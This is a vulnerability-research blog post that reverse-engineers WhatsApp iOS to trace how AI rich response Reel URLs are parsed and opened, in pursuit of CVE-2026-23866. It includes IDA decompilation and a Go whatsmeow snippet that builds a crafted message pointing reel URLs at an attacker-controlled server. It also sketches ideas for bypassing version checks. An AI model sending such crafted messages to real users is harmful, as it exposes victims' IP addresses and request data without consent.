CVE-2026-23866: Finding a Whatsapp NDay
Watch me trying to find a Whatsapp nDay, thanks to Meta and inline compiling it's not that easy !
On May 1 2026, CVE-2026-23866 was published, the vulnerability reportedly allows a malicious attacker to force a victim into loading an arbitrary URL and thus leaking important information (headers, ip address, …). It’s a low grade vulnerability but I’ve never worked on Whatsapp so I figured it’d be interesting to take a look at it.
The only informations I will be using are those publicly available on the NIST website . It describes the vulnerable version to be 2.25.8.0 < 2.26.15.72 on iOS and 2.25.8.0 < 2.26.7.10 on Android. The description of the vulnerability is the following: Incomplete validation of AI rich response messages for Instagram Reels in WhatsApp [...] could have allowed a user to trigger processing of media content from an arbitrary URL on another user’s device [...]. I’m more familiar with the iOS environment so that’s what I’ll be working on. I’ll be using Whatsapp iOS version 25.9.72 for my test and IDA Pro for decompiling.
Luckily and surprisingly, the binaries shipped with WhatsApp aren’t that big so it doesn’t take too long to decompile.
Because on this blog we only allow top-tier hacking and I don’t play around, I’m bringing the big guns right off the bat and thus I will be using grep on the unzipped iPA to find occurrence of AiRich (yes, yes this is top-tier hacking I swear):
number@notamalware$ grep "AiRich" -ri
grep: Frameworks/SharedModules.framework/SharedModules: binary file matches
grep: Frameworks/WABloksKit.framework/WABloksKit: binary file matches
grep: WhatsApp: binary file matches
This isn’t too bad to begin with.. So I started reverse-engineering SharedModules.
We have quite a lot of functions containing AiRich, and,SharedModules seems to be dedicated to parsing the various protocol messages.

We know that we are looking for processing of media content that will lead to loading an arbitrary url. We can assume that the application tries to load a video (makes sense for an Instagram Reels) and doesn’t control the validity of the link.
That’s why the class WAPBAIRichResponseMessage_AIRichResponseContentItemsMetadata_AIRichResponseContentItemMetadata caught my eye. An AI Rich response that contains fields ? Be my guest.
We also have this function that seems to be extracting the submessage field from a protobuf message.
__int64 whatsapp__airich_response_message__airich_response_content_items_metadata__unpack()
{
sub_18C3DB4();
return protobuf_c_message_unpack(&whatsapp__airich_response_message__airich_response_content_items_metadata__descriptor);
}
Since SharedModules doesn’t seem to be dedicated to the logic of Whatsapp, I’m switching to the main Whatsapp binary in IDA.
By looking at the imports of this binary we have the following:

Using the protobuf definition accessible here :
message AIRichResponseContentItemsMetadata {
enum ContentType {
DEFAULT = 0;
CAROUSEL = 1;
}
message AIRichResponseContentItemMetadata {
oneof aIRichResponseContentItem {
AIRichResponseReelItem reelItem = 1;
}
}
message AIRichResponseReelItem {
optional string title = 1;
optional string profileIconURL = 2;
optional string thumbnailURL = 3;
optional string videoURL = 4;
}
repeated AIRichResponseContentItemMetadata itemsMetadata = 1;
optional ContentType contentType = 2;
}
I crossed-ref the class containing metadata and got the following function:
__int64 __fastcall sub_101AF22F0(__int64 a1)
{
__int64 v1; // x30
int v2; // w0
int v3; // w2
__int64 v4; // x1
__int64 v5; // x0
__int64 v6; // x1
int v7; // w0
int v8; // w2
int v9; // w0
int v10; // w2
__int64 v11; // x0
__int64 v12; // x1
__int64 v13; // x2
__int64 v14; // x3
sub_101B55B2C(a1, v1);
v2 = sub_101B2E450();
if ( v4 )
{
v5 = sub_101B51EB0(v2, &selRef_videoURL, v3);
if ( v6 )
{
v7 = sub_101B50E40(v5);
sub_101B51EB0(v7, &selRef_title, v8);
sub_101B516D4();
sub_101B51EB0(v9, &selRef_profileIconURL, v10);
sub_101B5341C();
sub_101B5157C();
sub_1013B30C0();
}
else
{
sub_101B50780(v5);
}
}
sub_101B506F8();
type metadata accessor for RichResponseReelItem();
sub_101B52DC8();
sub_101B55B18();
return sub_10001FFAC(v11, v12, v13, v14);
}
Thank you Meta for compiling with the -O1 flag, this makes the experience very unpleasing!
I also found this stub that stores the videoUrl in an instance of RichResponseReelItem.
__text:00000001013B30C0 ; void sub_1013B30C0()
__text:00000001013B30C0 sub_1013B30C0 ; CODE XREF: sub_101AF22F0+80↓p
__text:00000001013B30C0
__text:00000001013B30C0 arg_50 = 0x50
__text:00000001013B30C0 arg_58 = 0x58
__text:00000001013B30C0
__text:00000001013B30C0 ; FUNCTION CHUNK AT __text:000000010140A304 SIZE 00000018 BYTES
__text:00000001013B30C0
__text:00000001013B30C0 MOV X9, X30
__text:00000001013B30C4 BL sub_10140D35C
__text:00000001013B30C8 MOV X30, X9
__text:00000001013B30CC STP X29, X30, [SP,#arg_50]
__text:00000001013B30D0 ADD X29, SP, #arg_50
__text:00000001013B30D4 MOV X19, X7
__text:00000001013B30D8 BL sub_1014103C8
__text:00000001013B30DC BL sub_10140DF88
__text:00000001013B30E0 MOV X25, X1
__text:00000001013B30E4 MOV X26, X0
__text:00000001013B30E8 MOV X27, X8
__text:00000001013B30EC BL _$s10Foundation4UUIDVACycfC ; UUID.init()
__text:00000001013B30F0 BL sub_10140C468
__text:00000001013B30F4 LDRSW X8, [X0,#0x14]
__text:00000001013B30F8 ADD X8, X27, X8
__text:00000001013B30FC STP X26, X25, [X8]
__text:00000001013B3100 LDRSW X8, [X0,#0x18]
__text:00000001013B3104 ADD X8, X27, X8
__text:00000001013B3108 STP X24, X23, [X8]
__text:00000001013B310C LDRSW X8, [X0,#0x1C]
__text:00000001013B3110 ADD X8, X27, X8
__text:00000001013B3114 STP X22, X21, [X8]
__text:00000001013B3118 LDRSW X8, [X0,#0x20]
__text:00000001013B311C ADD X8, X27, X8
__text:00000001013B3120 STP X20, X19, [X8]
__text:00000001013B3124 LDP X29, X30, [SP,#arg_50]
__text:00000001013B3128 B loc_10140A304
__text:000000010140A304 loc_10140A304 ; CODE XREF: sub_1013B30C0+68↑j
__text:000000010140A304 ; sub_1013B8508+148↑j ...
__text:000000010140A304 LDP X20, X19, [SP,#arg_40]
__text:000000010140A308 LDP X22, X21, [SP,#arg_30]
__text:000000010140A30C LDP X24, X23, [SP,#arg_20]
__text:000000010140A310 LDP X26, X25, [SP,#arg_10]
__text:000000010140A314 LDP X28, X27, [SP+arg_0],#0x60
__text:000000010140A318 RET
Let’s not stop halfway through and let’s keep X-Refing! We now need to find the function that loads one of the urls.

Here I got kind of stuck because I have no intentions of debugging dynamically and it’s not possible to diff the binaries because of the compiler’s optimizations. I then went back to a hacker’s best tool: guessing.
Several hours of guessing and wading later (because just using Frida would be too much, right), I finally found this function which consumes the videoUrl field:
// positive sp value has been detected, the output may be wrong!
__int64 sub_1013E678C()
{
_QWORD *v0; // x22
__int64 v1; // x24
int v2; // w1
__int64 v3; // x0
__int64 v4; // x0
__int64 v5; // x0
__int64 v6; // x0
__int64 v7; // x0
__int64 v8; // x27
__int64 result; // x0
__int64 v10; // x23
__int64 v11; // x28
int v12; // w2
int v13; // w3
int v14; // w4
int v15; // w5
int v16; // w6
int v17; // w7
__int64 v18; // x26
__int64 v19; // x20
_QWORD *v20; // x0
__int64 v21; // x0
char v22; // zf
__int64 v23; // x0
__int64 v24; // x0
__int64 v25; // x0
__int64 v26; // x0
id v27; // x24
NSURL *v28; // x8
__int64 v29; // x0
__int64 v30; // x20
__int64 v31; // x25
__int64 v32; // x1
Class isa; // x26
__int64 v34; // x0
__int64 v35; // x0
__int64 v36; // x0
__int64 v37; // x0
__int64 v38; // x0
__int64 (__fastcall *v39)(__int64); // x8
__int64 v40; // x0
int v41; // [xsp-8h] [xbp-8h]
sub_10140D35C();
v41 = v2;
v3 = sub_10001FCE0(&qword_103BE1A70);
v4 = sub_10140A338(v3);
v5 = (sub_10140C760)(v4);
(sub_10140C894)(v5);
v6 = sub_1014104CC();
v7 = (sub_10140A690)(v6);
v8 = (sub_10140C468)(v7);
sub_10140A338(v8);
sub_10140C850();
result = sub_1013E5234();
if ( result )
{
v10 = result;
v11 = Array.count.getter(*(result + 72));
if ( (IndexPath.item.getter)() >= v11 )
{
v25 = (sub_10140D344)(v10, v41, v12, v13, v14, v15, v16, v17);
return swift_release(v25);
}
else
{
v18 = (IndexPath.item.getter)();
sub_1013E644C();
v19 = *(v10 + 72);
sub_10140BDB0();
v20 = Array.subscript.getter(v0, v18, v19, v8);
sub_10140BDCC(v20);
URL.init(string:)(*(v0 + *(v8 + 32)), *(v0 + *(v8 + 32) + 8));
v21 = (sub_10140BB78)(v1);
if ( v22 )
{
v23 = sub_10140CE5C(v21);
v24 = sub_10140CE54(v23, type metadata accessor for RichResponseReelItem);
return (sub_10140E5EC)(v24, &qword_103BE1A70);
}
else
{
v26 = (sub_10140E130)(v21);
(sub_10140D2D8)(v26);
v27 = objc_retainAutoreleasedReturnValue(objc_msgSend(objc_opt_self(&OBJC_CLASS___UIApplication), "sharedApplication"));
URL._bridgeToObjectiveC()(v28);
v30 = v29;
sub_10001FCE0(&qword_103BF6B78);
v31 = sub_10140AA6C();
(type metadata accessor for OpenExternalURLOptionsKey)(0LL);
sub_10140BCF0(&unk_103C81BA0, v32, type metadata accessor for OpenExternalURLOptionsKey, &unk_1041EDA60);
(sub_10140E0A8)(v31);
isa = Dictionary._bridgeToObjectiveC()().super.isa;
sub_10140C82C();
v34 = sub_10140CE5C(objc_msgSend(v27, "openURL:options:completionHandler:", v30, isa, 0LL));
v35 = sub_10140BD28(v34);
v36 = sub_10140BCB8(v35);
v37 = (sub_10140BE20)(v36);
v38 = sub_10140BF68(v37);
v40 = v39(v38);
return sub_10140CE54(v40, type metadata accessor for RichResponseReelItem);
}
}
}
return result;
}
And if we cross-ref that function, we can find this Objective-C function:
void __cdecl -[ReelCollectionViewCell handleTap](_TtC14WAMessageViews22ReelCollectionViewCell *self, SEL a2)
{
void *v2; // x20
sub_10140BED4(self, a2);
sub_1013E4B8C();
objc_release(v2);
}
So we got this first sink that is called when we clink on the message - bear in mind the link opened is attacker controlled. However, this sink needs user interaction which isn’t the case for the CVE we’re working on.
Finding the other sink is like finding a needle in a haystack - I did try to debug dynamically but sadly the Whatsapp version is too old and the backend blocks registration on those version. I’m guessing I could bypass this my modifying the version in the IPA, resigning and everything but it’s not what i’m interested in right now.
I did try to send the message using whatsmeow with this snippet:
message := &waE2E.Message{
RichResponseMessage: &waE2E.AIRichResponseMessage{
MessageType: waAICommonDeprecated.AIRichResponseMessageType_AI_RICH_RESPONSE_TYPE_STANDARD.Enum(),
Submessages: []*waAICommonDeprecated.AIRichResponseSubMessage{
{
MessageType: waAICommonDeprecated.AIRichResponseSubMessageType_AI_RICH_RESPONSE_CONTENT_ITEMS.Enum(),
ContentItemsMetadata: &waAICommonDeprecated.AIRichResponseContentItemsMetadata{
ContentType: waAICommonDeprecated.AIRichResponseContentItemsMetadata_CAROUSEL.Enum(),
ItemsMetadata: []*waAICommonDeprecated.
AIRichResponseContentItemsMetadata_AIRichResponseContentItemMetadata{
// Reel #1
{
AIRichResponseContentItem: &waAICommonDeprecated.
AIRichResponseContentItemsMetadata_AIRichResponseContentItemMetadata_ReelItem{
ReelItem: &waAICommonDeprecated.
AIRichResponseContentItemsMetadata_AIRichResponseReelItem{
Title: proto.String(
"Example Reel 1",
),
ProfileIconURL: proto.String(
"http://[VPS_URL]/thumb1.jpg",
),
ThumbnailURL: proto.String(
"http://[VPS_URL]/thumb2.jpg",
),
VideoURL: proto.String(
"http://[VPS_URL]/video.mp4",
),
},
},
},
// Reel #2
{
AIRichResponseContentItem: &waAICommonDeprecated.
AIRichResponseContentItemsMetadata_AIRichResponseContentItemMetadata_ReelItem{
ReelItem: &waAICommonDeprecated.
AIRichResponseContentItemsMetadata_AIRichResponseReelItem{
Title: proto.String(
"Example Reel 2",
),
ProfileIconURL: proto.String(
"http://[VPS_URL]/thumb1.jpg",
),
ThumbnailURL: proto.String(
"http://[VPS_URL]/thumb2.jpg",
),
VideoURL: proto.String(
"http://[VPS_URL]/video2.mp4",
),
},
},
},
},
},
},
},
},
}
But here is what it displays on recent versions:

So it’s not possible to really see how it would display on old versions and I really don’t want to have to dig in the Swift UI components of Whatsapp, the fact the it compiles inline is really annoying because it makes it way harder to decompile - IDA doesn’t load the stubs to load the arguments and thus you have to dig in each stub to know which argument goes where.
Maybe a plugin such as this would be a good solution to “bypass” the compiler’s optimizations but this isn’t what this blog post is about.
Conclusion
In conclusion, we were able to prove a 1-click path but not a 0-click one.
AIRichResponseContentItemsMetadata
|
v
reelItem
|
v
sub_101AF22F0
videoURL / thumbnailURL / profileIconURL / title
|
v
sub_1013B30C0
RichResponseReelItem
|
+----------------------+
| |
v ?
sub_1013E678C CVE media sink
[tap path] [not found]
|
v
URL.init -> UIApplication.openURL
Even though I couldn’t find the CVE’s automatic media-processing sink, we saw that Whatsapp does extract an URL from a user controlled protobuf and we confirmed that this URL is then loaded without making sure it points to a trusted destination. I’m pretty sure this represents a vuln in itself, this user seem to have been paid a bounty for finding this type of vulnerability. I’m not sure how the URLs appear on the UI but if they don’t display it and clicking on the message is sufficient for loading a user controlled URL, this could already be considered a vuln. This is not the sink described by CVE-2026-23866, since the path I found requires a user tap. I did not reproduce the vulnerable automatic media-processing path, so identifying that second consumer remains future work. To find our correct stub, I can think of several different options:
- Hardcode a more recent Whatsapp version in the binary to bypass the backend check (i’m not familiar with Whatsapp internals, i’m not sure that’d work). I know that the application has also a set expiration date and we would also have to change the date of the phone.
- Write and import a custom .dylib in Whatsapp to force it to load a custom message (in this case a
RichResponseMessage).
Anyway, this was my first time writing a post on mobile VR, hope it was interesting. If you have any questions - or think that I missed something, you can reach out to me on discord @ numb3rss.